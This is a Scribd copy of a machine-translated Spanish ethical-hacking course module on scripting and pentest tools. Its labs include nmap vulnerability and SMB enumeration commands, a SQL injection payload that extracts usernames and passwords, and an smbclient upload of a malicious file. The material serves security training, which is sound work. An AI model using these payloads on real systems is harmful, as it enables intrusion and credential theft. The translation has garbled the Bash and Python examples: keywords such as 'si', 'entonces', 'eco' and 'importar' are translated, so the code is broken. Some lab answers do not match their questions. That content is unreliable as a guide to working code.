0% encontró este documento útil (0 votos)
6 vistas125 páginas

CEH Module10 Esp

El módulo 10 se centra en herramientas y análisis de código para pruebas de penetración, destacando la importancia de familiarizarse con diversos lenguajes de scripting como Bash, Python y Ruby. Se enfatiza la necesidad de conocimientos de programación para descifrar malware y automatizar tareas, así como la comprensión de estructuras lógicas y de datos. Al finalizar, los participantes estarán equipados para utilizar y analizar herramientas de pentesting efectivamente.
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como DOCX, PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
6 vistas125 páginas

CEH Module10 Esp

El módulo 10 se centra en herramientas y análisis de código para pruebas de penetración, destacando la importancia de familiarizarse con diversos lenguajes de scripting como Bash, Python y Ruby. Se enfatiza la necesidad de conocimientos de programación para descifrar malware y automatizar tareas, así como la comprensión de estructuras lógicas y de datos. Al finalizar, los participantes estarán equipados para utilizar y analizar herramientas de pentesting efectivamente.
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como DOCX, PDF, TXT o lee en línea desde Scribd

Módulo 10: Herramientas y análisis de código

10.0 Introducción
10.0.1 ¿Por qué debería tomar este módulo?
Soluciones de seguridad Protego
Creo que estarás de acuerdo en que hay mucho que recordar para trabajar
eficazmente como analista de seguridad informática. Puede parecer abrumador para
alguien que recién empieza. Sin embargo, esto es cierto en cualquier campo. Parece
mucho hasta que empiezas a trabajar y utilizas tus conocimientos y habilidades a
diario.
Las empresas de pruebas de penetración no utilizan todo lo que has aprendido en este
curso. Cada una tiene sus propias herramientas, scripts, lenguajes de scripting y
formatos de documentación preferidos. Aprenderás sobre esto en el trabajo.
Sabemos que puede resultar abrumador, por eso hemos incluido este módulo para
que lo consultes cuando necesites trabajar con código o encontrar la herramienta
adecuada. Es recomendable familiarizarse con todo el contenido de este módulo, pero
no te preocupes si tienes problemas para recordar detalles específicos de cada
herramienta. Simplemente concéntrate en qué herramientas son útiles para cada
tarea general. Luego, si hay algo que no recuerdes, siempre puedes consultarlo.
Las pruebas de penetración y el hacking ético no se limitan a herramientas y scripts
sofisticados; requieren metodologías sólidas, pensamiento crítico y conocimientos
técnicos avanzados. Aun así, las herramientas pueden acelerar y escalar las pruebas de
penetración. En este módulo, aprenderá sobre diferentes casos de uso de
herramientas para pruebas de penetración. También aprenderá a analizar los
resultados de algunas de las herramientas más populares para realizar evaluaciones
fundamentadas. Al finalizar el módulo, aprenderá a utilizar Bash, Python, Ruby,
PowerShell, Perl y JavaScript para realizar scripting básico.
10.0.2 ¿Qué aprenderé en este módulo?
Título del módulo: Herramientas y análisis de código
Objetivo del módulo: Clasificar las herramientas de pentesting según su caso de uso.

10.1 Comprensión de los conceptos básicos de la programación de scripts y el


desarrollo de software
10.1.1 Descripción general
Soluciones de seguridad Protego
Para trabajar con éxito como pentester, es necesario tener conocimientos de
programación, especialmente de lenguajes de scripting, aunque el conocimiento de
lenguajes compilados comunes también es una ventaja. Esto se debe principalmente a
dos razones. En primer lugar, el malware es código. Parte de él es código compilado, y
gran parte son scripts. Si bien los ciberdelincuentes hacen todo lo posible por ofuscar
su código para dificultar su identificación e interpretación, los pentesters expertos
pueden descifrarlo. En Protego, es nuestra responsabilidad informar a nuestros

1
clientes sobre cualquier malware que encontremos y el daño que pueda haber
causado. También necesitamos comprender la función del código, ya que
posiblemente haya creado vulnerabilidades y acceso persistente a los sistemas de
nuestros clientes, información que debemos conocer.
Otro motivo es que a menudo necesitamos automatizar el reconocimiento y el
escaneo de vulnerabilidades para que nuestras pruebas sean más eficientes y
efectivas. Si bien ya existen herramientas de escaneo automatizadas, no siempre nos
brindan lo que necesitamos. Será necesario que sepas reconocer qué hacen nuestros
scripts de automatización existentes, cómo modificarlos para adaptarlos a nuestras
necesidades actuales y también cómo escribir los tuyos propios.
Este curso y muchos exámenes de certificación requieren un conocimiento avanzado
de Bash, Python, Ruby, PowerShell y otros lenguajes de programación. Es necesario
familiarizarse con los fundamentos de los lenguajes de scripting, como las estructuras
lógicas, las estructuras de datos, las bibliotecas, las clases, los procedimientos y las
funciones. Las siguientes secciones ofrecen una visión general de estos conceptos.
NOTA: Este curso no enseña ningún lenguaje de programación específico. Debe poseer
ya estos conocimientos o practicarlos y aprenderlos con los recursos disponibles a lo
largo de este módulo.
10.1.2 Estructuras lógicas
Las construcciones de lógica de programación son los bloques de construcción que
incluyen la secuencia u orden en que ocurren y se procesan las instrucciones, la ruta
que sigue un programa cuando se está ejecutando y la iteración (o ejecución repetida)
de una sección de código.
La mayoría de los lenguajes de programación incluyen las siguientes estructuras
lógicas:
Bucles
Un bucle se utiliza para ejecutar repetidamente una sección de código. Los ejemplos
más comunes son los bucles `for` y `while` en diferentes lenguajes de scripting como
Bash y lenguajes de programación como Python, Ruby, Perl y JavaScript. Aprenderás
conceptos más avanzados de estos lenguajes de programación más adelante en este
módulo. Reiteramos que este libro no pretende enseñarte un lenguaje de
programación específico. Sin embargo, este módulo te proporciona diversos recursos
que te ayudarán a comprender mejor estos conceptos de programación.
Condicionales
Las condicionales son comandos de programación que se utilizan para gestionar
decisiones. La instrucción `if` en muchos lenguajes de programación, como Python,
Ruby y Bash, es un ejemplo de instrucción o expresión condicional.
operadores booleanos
También conocidos como operadores booleanos, estos operadores son palabras
simples (Y, O, NO o Y NO) que se utilizan como conjunciones para combinar o excluir
palabras clave en una búsqueda, lo que genera resultados más precisos y productivos.
El uso de operadores booleanos puede ahorrarle tiempo y esfuerzo al eliminar
resultados irrelevantes que deben revisarse solo para descartarlos.
operadores de cadena

2
Estos operadores permiten manipular los valores de las variables de diversas maneras
útiles. Un buen recurso para aprender sobre operadores de cadenas en Python es
[Link] .
Operadores aritméticos
Estos operadores realizan operaciones matemáticas (como suma, resta, multiplicación,
división y módulo) sobre los operandos.
CONSEJO Uno de los mejores recursos para aprender sobre diferentes lenguajes de
programación y conceptos relacionados es [Link]. Por ejemplo, el siguiente
enlace proporciona detalles sobre los bucles for en Python:
[Link] .
Omar Santos también ha añadido una gran cantidad de recursos y tutoriales sobre
diferentes conceptos de programación en su repositorio de GitHub, en
[Link]
ng_for_cybersecurity .
10.1.3 Práctica - Construcciones lógicas
Relacione los operadores de programación y las construcciones lógicas con sus
descripciones.

10.1.4 Estructuras de datos


Las siguientes son las estructuras de datos más utilizadas en los lenguajes de
programación:
Notación de objetos de JavaScript (JSON): JSON es un formato ligero para almacenar y
transportar datos, fácil de entender. Es la estructura de datos más común en las API
RESTful y muchas otras implementaciones. Puedes aprender JSON de forma interactiva
en [Link] .
Matrices: Una matriz es una variable especial que puede contener más de un valor a la
vez.
Diccionarios: Un diccionario es una colección de valores de datos ordenados mediante
pares clave/valor. El siguiente es un ejemplo de un diccionario en Python:
dict = {'Name': 'Omar Santos', 'Twitter': '@santosomar'}
Valores separados por comas (CSV): Un archivo CSV es un archivo de texto plano que
contiene datos delimitados por comas (,) y a veces tabulaciones u otros caracteres,
como punto y coma (;).

3
Listas: Una lista es una estructura de datos en lenguajes de programación que contiene
una estructura ordenada de elementos. El siguiente es un ejemplo de una lista en
Python:
cves = ['CVE-2022-0945', 'CVE-2023-1234', 'CVE-2022-0987']
Árboles: Un árbol es una estructura de datos no lineal representada mediante nodos
en un modelo jerárquico. El siguiente sitio incluye ejemplos de árboles (o árboles
binarios) en Python donde puedes aprender e interactuar con el código fuente:
[Link] .
10.1.5 Práctica - Estructuras de datos
Relacione las estructuras de datos de programación comunes con sus descripciones.

10.1.6 Bibliotecas
Una biblioteca es una colección de recursos que pueden ser reutilizados por
programas. Las bibliotecas pueden incluir lo siguiente:
 Código preescrito
 Información de configuración
 Subrutinas
 Documentación e información de ayuda
 Plantillas de mensajes
 Clases
CONSEJO Cada lenguaje de programación admite un conjunto de bibliotecas estándar
y de terceros. Por ejemplo, el siguiente sitio web describe la biblioteca estándar de
Python: [Link] .
10.1.7 Procedimientos
Un procedimiento es un fragmento de código creado para realizar una tarea específica.
Puede reutilizarse varias veces a lo largo de un programa. Los procedimientos
simplifican y concisan el código. Las funciones (que se tratarán en la siguiente sección)

4
y los procedimientos son muy similares. En algunos lenguajes de programación, son
prácticamente lo mismo.
El siguiente tutorial ofrece una excelente descripción general de los procedimientos en
diferentes lenguajes de programación:
[Link] .
10.1.8 Funciones
Una función es un bloque de código muy útil cuando se necesita ejecutar tareas
similares repetidamente. Una función se ejecuta solo cuando se la llama.
A continuación, te presentamos algunos recursos que puedes utilizar para aprender
sobre funciones en diferentes lenguajes de programación:
 Funciones de Python:
[Link]
 Funciones de JavaScript: [Link]
 Funciones de Bash: [Link]
 Funciones de PowerShell:
[Link]
view=powershell-7.1
10.1.9 Clases
Una clase es una plantilla de código que se puede usar para crear distintos objetos.
Proporciona valores iniciales para las variables miembro y las funciones o métodos. En
lenguajes de programación orientados a objetos como Java, Python y C++, numerosos
componentes son objetos, incluyendo propiedades y métodos. Una clase es como un
modelo para la creación de objetos.
CONSEJO: El siguiente sitio web incluye varios ejemplos de clases de Python:
[Link] . Para obtener más
información sobre las clases de JavaScript, consulte
[Link] .
10.1.10 Análisis de scripts y ejemplos de código para su uso en pruebas de
penetración
Dos de las mejores maneras de familiarizarse con los lenguajes Bash, Python, Ruby,
PowerShell, Perl y JavaScript son creando tus propios scripts e inspeccionando los
creados por otros. Puedes encontrar fácilmente scripts para inspeccionar navegando
por GitHub (incluido el repositorio de GitHub de Omar Santos) e incluso consultando el
código de exploits en la Exploit Database, en [Link] .
10.1.11 Práctica - Programación de scripts
Relacione el término de programación con su descripción.

5
10.1.12 El shell de Bash
Bash es un intérprete de comandos y una herramienta de línea de comandos
disponible para sistemas operativos como Linux, macOS e incluso Windows. Su
nombre proviene del acrónimo de Bourne-Again Shell (shell de Bourne-Again). Un
intérprete de comandos es una herramienta de línea de comandos que permite la
ejecución de comandos de forma interactiva o no interactiva. Un buen conocimiento
de Bash permite crear scripts rápidamente, analizar datos y automatizar diversas
tareas, lo cual resulta útil en pruebas de penetración.
Los siguientes sitios web proporcionan ejemplos de conceptos de scripting en Bash,
tutoriales, ejemplos y guías rápidas:
 Tutorial de scripting Bash para Linux Config: [Link]
scripting-tutorial
 Guía rápida de programación en Bash de DevHints: [Link]

10.1.13 Recursos para aprender Python


Python es uno de los lenguajes de programación más populares de la industria. Se
puede usar para automatizar tareas repetitivas y crear aplicaciones sofisticadas;
también se puede usar en pruebas de penetración.
Los siguientes sitios web proporcionan ejemplos de conceptos de programación en
Python, tutoriales, ejemplos y guías de referencia:
 Tutorial de Python de W3 Schools: [Link]
 Tutorial de Python de Tutorials Point:
[Link]
 El gurú de Python: [Link]
 Una lista completa de recursos de Python: [Link]
python
10.1.14 Recursos para aprender Ruby
Ruby es otro lenguaje de programación que se utiliza en muchas aplicaciones web y de
otro tipo. Los siguientes sitios web ofrecen ejemplos de conceptos de programación en
Ruby, tutoriales, ejemplos y guías de referencia:
 Tutorial de Ruby en veinte minutos:
[Link]
 Aprende Ruby en línea con un tutorial interactivo:
[Link]
6
 Un repositorio de GitHub que incluye una colección de increíbles bibliotecas,
herramientas, frameworks y software de Ruby, impulsada por la comunidad:
[Link]
CONSEJO: El framework de explotación Metasploit, mencionado con frecuencia en
este libro, fue creado en Ruby e incluye código fuente para exploits, módulos y scripts
también en Ruby. Es recomendable descargar Kali Linux u otra distribución para
pruebas de penetración y familiarizarse con los scripts y exploits que incluye
Metasploit. Esta es una buena manera de conocer la estructura de los scripts de Ruby.
10.1.15 Recursos para aprender PowerShell
A lo largo de este libro, has aprendido que PowerShell y las herramientas relacionadas
se pueden usar para actividades de explotación y post-explotación. Microsoft cuenta
con una amplia colección de cursos y tutoriales en vídeo gratuitos que incluyen
PowerShell. Busca «powershell» en [Link] .
10.1.16 Recursos para aprender Perl
Existen numerosos recursos en línea que pueden utilizarse para aprender el lenguaje
de programación Perl. A continuación, se muestran algunos ejemplos:
 Tutorial de Perl de TutorialsPoint: [Link]
 [Link]: [Link]
 Tutorial de PerlMaven: [Link]
CONSEJO: Omar Santos ha incluido numerosos recursos de Perl en su repositorio de
GitHub, en
[Link]
ng_for_cybersecurity/[Link] . Para ver varios ejemplos de exploits escritos en Perl,
puede ejecutar el siguiente comando en Kali Linux o en cualquier sistema usando
SearchSploit ( [Link] ):
[Link] | awk '{print $NF}' | grep .pl
10.1.17 Recursos para aprender JavaScript
A continuación, te presentamos varios recursos que pueden ayudarte a aprender
JavaScript:
 Reintroducción a JavaScript:
[Link]
introduction_to_JavaScript
 Referencia de JavaScript de MDN:
[Link]
 Eloquent JavaScript: [Link]
 Introducción a JavaScript en Codecademy:
[Link]
 Tutorial de JavaScript de W3 Schools: [Link]
CONSEJO: Omar Santos ha incluido recursos que pueden ayudarte a aprender
JavaScript en su repositorio de GitHub; consulta [Link]
Hacking/h4cker/search?q=javascript .
10.1.18 Práctica - Lenguajes de programación
Relacione el lenguaje de programación con su descripción.
10.1.19 Laboratorio - Analizar código de explotación

7
Tareas de soluciones de seguridad de Protego
En este laboratorio interpretarás algunos scripts y comandos que se introducen en la
consola. Esto te ayudará a profundizar tus conocimientos sobre software y
herramientas de pruebas de penetración.
Es importante que usted sea capaz de interpretar los comandos y scripts que
encuentre como parte de nuestros acuerdos de pruebas de penetración con nuestros
clientes.

Laboratorio - Analizar código de explotación


Objetivos
En este laboratorio, investigarás y analizarás ejemplos de código de explotación.
 Realizar investigaciones y analizar muestras de código.
Antecedentes / Escenario
En este laboratorio, interpretarás instrucciones de línea de comandos y ejemplos de
código.
Recursos necesarios
 PC o dispositivo móvil
 acceso a Internet
Instrucciones
Parte 1: Realizar investigaciones y analizar muestras de código de explotación.
1. Consulte el siguiente comando.
nmap -sV --script vulners --script-args mincvss=4 [Link]
¿Qué información se mostrará al ejecutar el comando?
Este comando mostrará las vulnerabilidades conocidas y sus correspondientes CVE. El
argumento `mincvss` limitará la salida a solo los CVE con puntuaciones CVSS superiores
a 4.
¿Qué herramienta de Kali se ejecuta con el script anterior?
El escáner GVM
¿Qué lenguaje de programación crees que se utilizó?
En primer lugar, al inicio del script se identifica como `! /bin/bash`, lo que significa que
es un script de shell que utiliza la sintaxis de bash. Además, algunas líneas le resultarán
familiares. Se trata de comandos que ya hemos utilizado en la línea de comandos. Los
scripts de shell utilizan comandos de shell y otras instrucciones para crear scripts
ejecutables. El resto del código puede consistir en estructuras lógicas como bucles y
condicionales, entre otras.
Para obtener más información sobre las características y la sintaxis de los scripts de
Bash, busque en la web "ejemplos de scripts de Bash".
3. Consulte la línea de código que se muestra en el cuadro de mensaje.

8
¿Qué tipo de exploit se está ejecutando? ¿Se almacena el exploit en el cliente o en el
servidor? ¿En qué lenguaje está escrito?
Se trata de una vulnerabilidad XSS almacenada. El exploit se almacena en el servidor.
Está escrito en JavaScript.
¿En un caso real de explotación, qué podría hacer este código malicioso?
Las respuestas variarán. Una de las más comunes es enviar a los usuarios a sitios web
maliciosos.
4. Consulte el siguiente comando.
nmap --script [Link] -p139,445 [Link]
¿Qué información se mostrará al ejecutar el comando?
Nombres de usuario del bloque de mensajes del servidor (SMB) en el equipo de
destino en [Link]
Consulte el siguiente comando.
1' O 1=1 UNION SELECT usuario, contraseña FROM usuarios #
¿Qué tipo de vulnerabilidad se muestra? ¿Cuál es la función de la siguiente línea de
código?
Se trata de una vulnerabilidad de inyección SQL. Su objetivo es obtener nombres de
usuario y contraseñas de una tabla de la base de datos llamada «users».
6. Consulte los siguientes comandos.
smbclient //[Link]/tmp
smb: >put archivo_malicioso.txt archivo_malicioso.txt
¿Qué se pretende con los comandos?
La transferencia de archivos entre sistemas utilizando la utilidad smbclient
Reflexión
¿Por qué es importante que un hacker ético esté familiarizado con el código de
explotación en varios lenguajes de scripting?
Los hackers éticos pueden necesitar crear o utilizar scripts de explotación para evaluar
la seguridad de diversos sistemas, incluidas las aplicaciones web.

9
Por favor, responda a las siguientes preguntas después de haber completado el
laboratorio.
Prueba de habilidades
¿Qué efecto tendrán los siguientes comandos? (Elija dos).
smbclient //[Link]/tmp
smb: > poner [Link] holiday_party.txt
Abra una consola smbclient en el host de destino.
Copie el archivo [Link] del directorio tmp del cliente SMB al host [Link]
con el nuevo nombre de archivo holiday_party.txt.
Abra una sesión interactiva de smbclient con el host de destino.
Copie el archivo [Link] al directorio tmp del host [Link] con el nuevo
nombre de archivo holiday_party.txt.
Mueve el archivo [Link] al directorio tmp del host [Link] para
reemplazar holiday_party.txt
Encuesta de laboratorio
Me siento segura de las habilidades que practiqué en este laboratorio.
Totalmente de acuerdo
Completar este laboratorio fue una buena manera de emplear mi tiempo.
Totalmente de acuerdo
10.1.20 Laboratorio - Analizar código de automatización
Tareas de soluciones de seguridad de Protego
El escaneo de vulnerabilidades y la recopilación de información pueden ser procesos
muy laboriosos. Como ya habrás visto, existen varios programas que automatizan
estos procesos mediante el uso de múltiples herramientas contra diversos objetivos. Si
bien los escáneres automatizados son excelentes y muy útiles, a veces no se ajustan a
nuestras necesidades específicas.
Es importante que desarrolles tus habilidades de programación para que puedas
comprender los scripts de automatización escritos en diversos lenguajes. Debes
comprender los scripts existentes y ser capaz de modificarlos para adaptarlos a
nuestras necesidades actuales. En Protego, contamos con nuestro propio repositorio
de scripts de automatización que hemos desarrollado y utilizamos con frecuencia.
También debes tener conocimientos suficientes de programación para crear tus
propios scripts siguiendo ejemplos y consultando recursos en línea y foros de
programación.
En este laboratorio, completarás los siguientes objetivos:
Parte 1: Escriba un script de Bash para automatizar un escaneo Nmap y almacenar los
resultados.
Parte 2: Diferenciar entre scripts escritos en Bash, Python, Ruby y PowerShell.

Laboratorio - Analizar código de automatización


Objetivos

10
En este laboratorio, completarás los siguientes objetivos:
 Parte 1: Escribir un script de Bash para automatizar un escaneo Nmap y almacenar
los resultados.
 Parte 2: Diferenciar entre scripts escritos en Bash, Python, Ruby y PowerShell.

Antecedentes / Escenario
Las pruebas de penetración suelen requerir tareas repetitivas que utilizan diversas
herramientas para realizar reconocimiento, análisis y explotación de sistemas
vulnerables. La creación de scripts para automatizar estas tareas reduce el tiempo
necesario para completar el proyecto de pruebas de penetración.
Recursos necesarios
 Máquina virtual Kali personalizada para el curso de Hacker Ético
Instrucciones
Parte 1: Escribir un script de Bash para automatizar un escaneo Nmap y almacenar
los resultados.
Paso 1: Crear un script Bash básico.
La shell de Bash tiene un intérprete de scripts integrado. Los scripts de Bash se pueden
escribir en cualquier editor de texto y requieren poca experiencia en programación.
Luego, se pueden ejecutar desde la línea de comandos de Bash. La sintaxis y la
estructura de los scripts de Bash son similares a las que se escribirían en la línea de
comandos si se realizara la tarea manualmente. En este paso, escribiremos un script
corto llamado [Link] para realizar un escaneo simple con Nmap.
a. Para comenzar a escribir tu primer script, inicia sesión en Kali con el nombre de
usuario kali y la contraseña kali . Abre una ventana de terminal y haz ping al host
objetivo en [Link] para asegurarte de que está disponible en la red.
┌──(kali ㉿ Kali) -[ ~]
└─$ ping -c5 [Link]
PING [Link] ([Link]) 56(84) bytes de datos.
64 bytes desde [Link]: icmp_seq=1 ttl=64 tiempo=0.229 ms
64 bytes desde [Link]: icmp_seq=2 ttl=64 tiempo=0.048 ms
64 bytes desde [Link]: icmp_seq=3 ttl=64 tiempo=0.060 ms
64 bytes desde [Link]: icmp_seq=4 ttl=64 tiempo=0.054 ms
64 bytes desde [Link]: icmp_seq=5 ttl=64 tiempo=0.038 ms
--- Estadísticas de ping para [Link] ---
Se transmitieron 5 paquetes, se recibieron 5, 0% de pérdida de paquetes, tiempo
5451 ms
rtt mín./prom./máx./desv. media = 0,038/0,085/0,229/0,071 ms
b. Abra el editor de texto Mousepad desde el menú Aplicaciones . (Puede usar
cualquier editor de texto para crear el archivo). La primera línea del script de Bash
es un comentario especial que indica la ubicación del intérprete que se usará para
ejecutar el código. Esta línea se llama «shebang» y es común en la mayoría de los
scripts de Linux. Introduzca el shebang #!/ bin/bash en la línea 1; esto identifica el
lenguaje del script para el intérprete de comandos.
Mousepad añade automáticamente los números de línea; no los escriba. No deben
aparecer en el propio script.
1 #!/ bin/bash

11
c. En este script, el usuario introducirá la dirección IP del objetivo como opción de
línea de comandos. Si no se introduce ninguna opción, el usuario recibirá un
mensaje de error con la sintaxis correcta del comando. Introduzca la secuencia
condicional (if / then) como se muestra.
2 # Comprobar si se ha introducido la IP del objetivo
3 si [ -z "$1"]
4 entonces
5 echo "El uso correcto es ./[Link] <IP>"
6 salida 1
7 más
8 eco "Objetivo IP $1"
9 fi
Analizar el código de un script es una habilidad importante para un pentester. No solo
escribirás código de automatización, sino que a menudo necesitarás determinar qué
hace un script existente. El significado de cada línea es el siguiente:
 La línea 2 es un comentario que comienza con el símbolo #. Las líneas que
empiezan con # se utilizan para documentar el script. El intérprete de comandos
ignora las líneas de comentario.
 La línea 3 inicia una comprobación para determinar si existe la variable de opción
de entrada $1 . Por defecto, los scripts de Bash aceptan opciones de línea de
comandos en variables numeradas según su posición en el comando. La opción -z
devuelve "true" si el valor de $1 es nulo. Bash requiere un espacio después del
primer corchete [ y un espacio antes del último corchete].
 La línea 4 indica qué hacer si la variable de opción no existe (es nula). Las líneas 5 y
6 están indentadas para indicar que forman parte de la cláusula " then" .
 La línea 5 imprime un mensaje en la pantalla. Bash utiliza el comando echo para
imprimir en pantalla lo que está entre comillas dobles.
 La línea 6 hará que la ejecución del script se detenga y salga a la CLI si se cumple la
condición.
 La línea 7 indica qué hacer si la condición if es falsa.
 La línea 8 imprime un mensaje con el valor de entrada proporcionado y
almacenado en la variable $1 . Cabe destacar que se requiere trabajo adicional
para validar que la entrada sea realmente una dirección IP válida. Esto está fuera
del alcance de este laboratorio.
 La línea 9 indica que las cláusulas if / then están completas.
d. Guarda el archivo con el nombre [Link] . En este ejemplo, el archivo se guarda
en el directorio /home/kali .
e. Para convertir un archivo de texto en un ejecutable, es necesario cambiar los
permisos de Linux del archivo. Abre una ventana de terminal en el escritorio de
Kali. Lista el directorio con el comando `ls` y verifica que tu archivo de script esté
allí y tenga el nombre correcto. Introduce el comando `chmod +x` para otorgarle
permisos de ejecución.
┌──(kali ㉿ Kali) -[ ~]
└─$ chmod +x [Link]
f. Pruebe su script ejecutándolo primero con la dirección IP del objetivo ([Link])
especificada.
┌──(kali ㉿ Kali) -[ ~]

12
└─$ ./[Link] [Link]
IP de destino [Link]
g. Prueba tu script ejecutándolo de la siguiente manera:
1. sin ninguna entrada proporcionada después del nombre del script
2. con otro texto o una dirección IP no válida después del nombre del script.
Tenga en cuenta que si introduce texto no numérico, debe ir entre comillas.
El objetivo del script es automatizar el escaneo con Nmap utilizando la dirección IP
objetivo que se le proporciona. ¿Qué crees que ocurrirá si la dirección IP no es
válida?
Esto provocará un error en Nmap y el script fallará.
h. Ahora edita el archivo de script para introducir los comandos que ejecutarán el
escaneo Nmap. Usa la variable $1 para indicar la dirección IP del dispositivo objetivo
que deseas escanear. Los resultados del escaneo Nmap se guardarán en un archivo
llamado scan_results.txt en el directorio actual.
8 echo "Ejecutando Nmap…"
9 # Ejecutar un escaneo Nmap en el objetivo y guardar los resultados en un archivo
10 nmap -sV $1 > scan_results.txt
11 echo "Escaneo completado: resultados escritos en scan_results.txt"
¿Qué tipo de escaneo Nmap se ejecutará con este script?
Nmap buscará servicios abiertos y sus números de versión.
Guarda el script. A continuación se muestra el script [Link] hasta el momento.
#!/ bin/bash
# Comprobar si se ha introducido la IP del objetivo
si [ -z "$1 " ]
entonces
echo "El uso correcto es ./[Link] <IP>"
salida
demás
echo "IP de destino $1"
echo "Ejecutando Nmap…"
# Ejecutar un escaneo Nmap en el objetivo y guardar los resultados en un archivo
nmap -sV $1 > scan_results.txt
echo "Escaneo completado: resultados guardados en scan_results.txt"
fi
Ejecútelo de nuevo con la dirección IP de destino proporcionada.
┌──(kali ㉿ kali) -[ ~]
└─$ ./[Link] [Link]
IP de destino [Link]
Ejecutando Nmap....
Escaneo completado: resultados guardados en scan_results.txt
Utilice el comando cat para ver el contenido del archivo scan_results.txt que creó con
el script.
¿Qué puertos están abiertos en el objetivo?
21/ tcp abierto ftp
22/ TCP abierto ssh
53/ dominio abierto TCP
80/ tcp abierto http

13
139/tcp abierto netbios -ssn
445/tcp abierto microsoft -ds
Paso 2: Modifique el script para enumerar los recursos compartidos en el destino.
Como se vio en el paso anterior, el objetivo en [Link] tiene puertos abiertos que
podrían indicar la presencia de un servidor Samba. En este paso, editará su script para
ejecutar enum4linux si un puerto de recurso compartido de unidad Samba está
abierto, con el fin de determinar si hay unidades compartidas o cuentas de usuario
disponibles.
¿Qué indica que un servidor Samba se está ejecutando en los hosts?
Los puertos 139 y 445 están abiertos.
a. Abra el archivo [Link] en el editor de texto. Agregue los siguientes comandos.
13 # Si se encuentra y está abierto el puerto Samba 445, ejecute enum4linux.
14 if grep 445 scan_results.txt | grep -iq open
15 entonces
16 enum4linux -U -S $1 >> scan_results.txt
17 eco "Samba encontrada. Enumeración completa."
18 echo "Resultados añadidos a scan_results.txt."
19 echo "Para ver los resultados, concatena el contenido del archivo."
20 más
21 echo "No se encontraron puertos compartidos SMB abiertos."
22 fi
b. Analice el código adicional.
 La línea 13 es un comentario.
 La línea 14 indica el inicio de una instrucción condicional (if/then) que buscará en
los resultados de Nmap el puerto 445 abierto. El comando grep busca en el archivo
las líneas que coincidan con el patrón «445 abierto». Primero, grep busca las líneas
que coincidan con el patrón «445». Luego, la salida se redirige a un segundo
comando grep para buscar nuevamente líneas que coincidan con el patrón «
abierto» . Con la opción -i , grep ignora las mayúsculas y minúsculas en los
patrones de búsqueda. La opción -q suprime la salida estándar.
 La línea 15 es la cláusula " then ". Esta contiene el comando que se ejecutará si la
prueba if devuelve "true".
 Las líneas 16 a 19 se ejecutan si se encuentra el puerto de compartición de archivos
SMB (445). La línea 16 ejecuta enum4linux con las opciones -U y -S en el host de
destino especificado en $1 y añade los resultados al final del archivo
scan_results.txt . Las líneas 17, 18 y 19 muestran mensajes cuando emun4linux
finaliza el escaneo e indican cómo ver los resultados.
 La línea 20 indica la acción a tomar si falla la condición lógica if.
 La línea 21 muestra un mensaje si el puerto de compartición de archivos SMB (445)
no está abierto.
 En la línea 22, " fi" indica el final de la cláusula if/then .
¿Qué hacen las opciones -U y -S en enum4linux?
-U enumera los usuarios encontrados
-S enumera los recursos compartidos de la unidad
Guarda el archivo [Link] en el editor de texto y sal a la línea de comandos. A
continuación se muestra el script [Link] completo.
#!/ bin/bash

14
# Comprobar si se ha introducido la IP del objetivo
si [ -z "$1 " ]
entonces
echo "El uso correcto es ./[Link]"
salida
demás
echo "IP de destino $1"
echo "Ejecutando Nmap…"
# Ejecutar un escaneo Nmap en el objetivo y guardar los resultados en un archivo
nmap -sV $1 > scan_results.txt
echo "Escaneo completado: resultados guardados en scan_results.txt"
fi
# Si se encuentra y está abierto el puerto Samba 445, ejecute enum4linux.
if grep 445 scan_results.txt | grep -iq open
entonces
enum4linux -U -S $1 >> scan_results.txt
eco "Samba encontrada. Enumeración completa."
echo "Resultados añadidos a scan_results.txt."
echo "Para ver los resultados, concatena el contenido del archivo."
demás
echo "No se encontraron puertos compartidos SMB abiertos."
fi
d. Ejecute el script nuevamente en el sistema de destino ([Link]).
┌──(kali ㉿ kali) -[ ~]
└─$ ./[Link] [Link]
Ejecutando Nmap....
Escaneo completado: resultados guardados en scan_results.txt
Samba encontrada. Enumeración completa.
Resultados añadidos al archivo scan_results.txt.
Para ver los resultados, concatene el archivo.
e. Utilice el comando cat para ver los resultados contenidos en el archivo
scan_results.txt .
¿Qué recursos compartidos de archivos se encontraron en el objetivo?
de inicio Disco Todos los directorios de inicio
Archivos de trabajo Disco Archivos de trabajo confidenciales
imprimir$ Controladores de impresora de disco
IPC$ IPC (Samba 4.9.5-Debian)
Paso 3: Automatizar Nmap desde la línea de comandos.
Otra forma de automatizar Nmap es escanear un grupo de objetivos específicos que se
especifican en un archivo externo.
a. Crea un archivo nuevo en Mousepad e introduce las direcciones IP de los hosts
existentes en la red [Link]/24. Para listar todos los hosts disponibles con sus
direcciones IP, introduce el comando ` containers` en una terminal.
Asegúrese de que las direcciones IP estén separadas por un espacio o enumere cada
dirección IP en una línea separada.
b. Guarda el archivo con el nombre to_scan.txt .

15
c. En la línea de comandos, ingrese el comando para ejecutar Nmap con los objetivos
del archivo. Para este laboratorio, realizaremos un escaneo de ping simple, pero
cualquier tipo de escaneo que utilice una dirección IP como objetivo se puede
ejecutar de esta manera.
┌──(kali ㉿ Kali) -[ ~]
└─$ nmap -sn -iL to_scan.txt
d. Tras una breve demora, debería ver que Nmap genera los informes de escaneo para
cada host especificado en el archivo to_scan.txt .
Nota : El archivo to_scan.txt no requiere permisos de ejecución porque funciona como
un archivo de datos, no como un archivo de script.
Parte 2: Diferenciar entre scripts escritos en Bash, Python, Ruby y PowerShell
En esta sección, aplicarás lo aprendido en la sección anterior sobre cómo escribir y
analizar scripts de Bash para analizar scripts ya existentes. Conocer el lenguaje de
programación empleado en los scripts que descubras durante las pruebas de
penetración te permitirá comprender su propósito y, potencialmente, modificarlos
para obtener información adicional.
Utilice este cuadro que ilustra las diferentes características sintácticas de los lenguajes
de scripting.

16
a. Revise el ejemplo de código que se muestra. Utilice las características de sintaxis
para determinar qué lenguaje de scripting se utiliza para interpretar el código.
1 importar nmap
2 # lleva el rango de puertos a
3 # ser escaneado
4 comienzo = 21
5 fin = 80
6 objetivo = '[Link]'
7 # escanear el rango de puertos
8 para i en el rango(inicio,fin+1):
9 resultados = [Link] (objetivo,str(i))
10 resultados = resultados['scan'][objetivo]['tcp'][i]['estado']
11 imprimir ('El puerto {i} es {resultados}.')
